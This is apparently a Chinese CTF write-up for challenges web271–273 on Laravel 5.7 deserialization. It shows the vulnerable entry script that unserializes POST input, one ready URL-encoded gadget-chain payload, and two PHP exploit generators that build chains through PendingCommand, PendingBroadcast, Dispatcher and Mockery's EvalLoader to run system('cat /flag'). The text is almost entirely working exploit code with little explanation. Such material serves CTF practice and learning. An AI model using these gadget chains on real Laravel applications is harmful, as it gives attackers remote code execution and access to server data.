web271

laravel5.7反序列化漏洞

define('LARAVEL_START', microtime(true));/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/require __DIR__ . '/../vendor/autoload.php';/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/$app = require_once __DIR__ . '/../bootstrap/app.php';/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle($request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);$kernel->terminate($request, $response);

這里我是沒看到要用url加密的，但是我反序列化過后發現，正文不能上傳，才知道要url編碼繞過

這個是三道題都能通的payload我放在這
data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

EXP：

<?php
namespace Illuminate\Foundation\Testing{class PendingCommand{protected $command;protected $parameters;protected $app;public $test;public function __construct($command, $parameters,$class,$app){$this->command = $command;$this->parameters = $parameters;$this->test=$class;$this->app=$app;}}
}namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(array $attributes){$this->attributes = $attributes;}}
}namespace Illuminate\Foundation{class Application{protected $hasBeenBootstrapped = false;protected $bindings;public function __construct($bind){$this->bindings=$bind;}}
}namespace{echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

web272–web273

EXP

<?php
namespace PhpParser\Node\Scalar\MagicConst{class Line {}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}}
}
namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}
}
namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast));
}
?>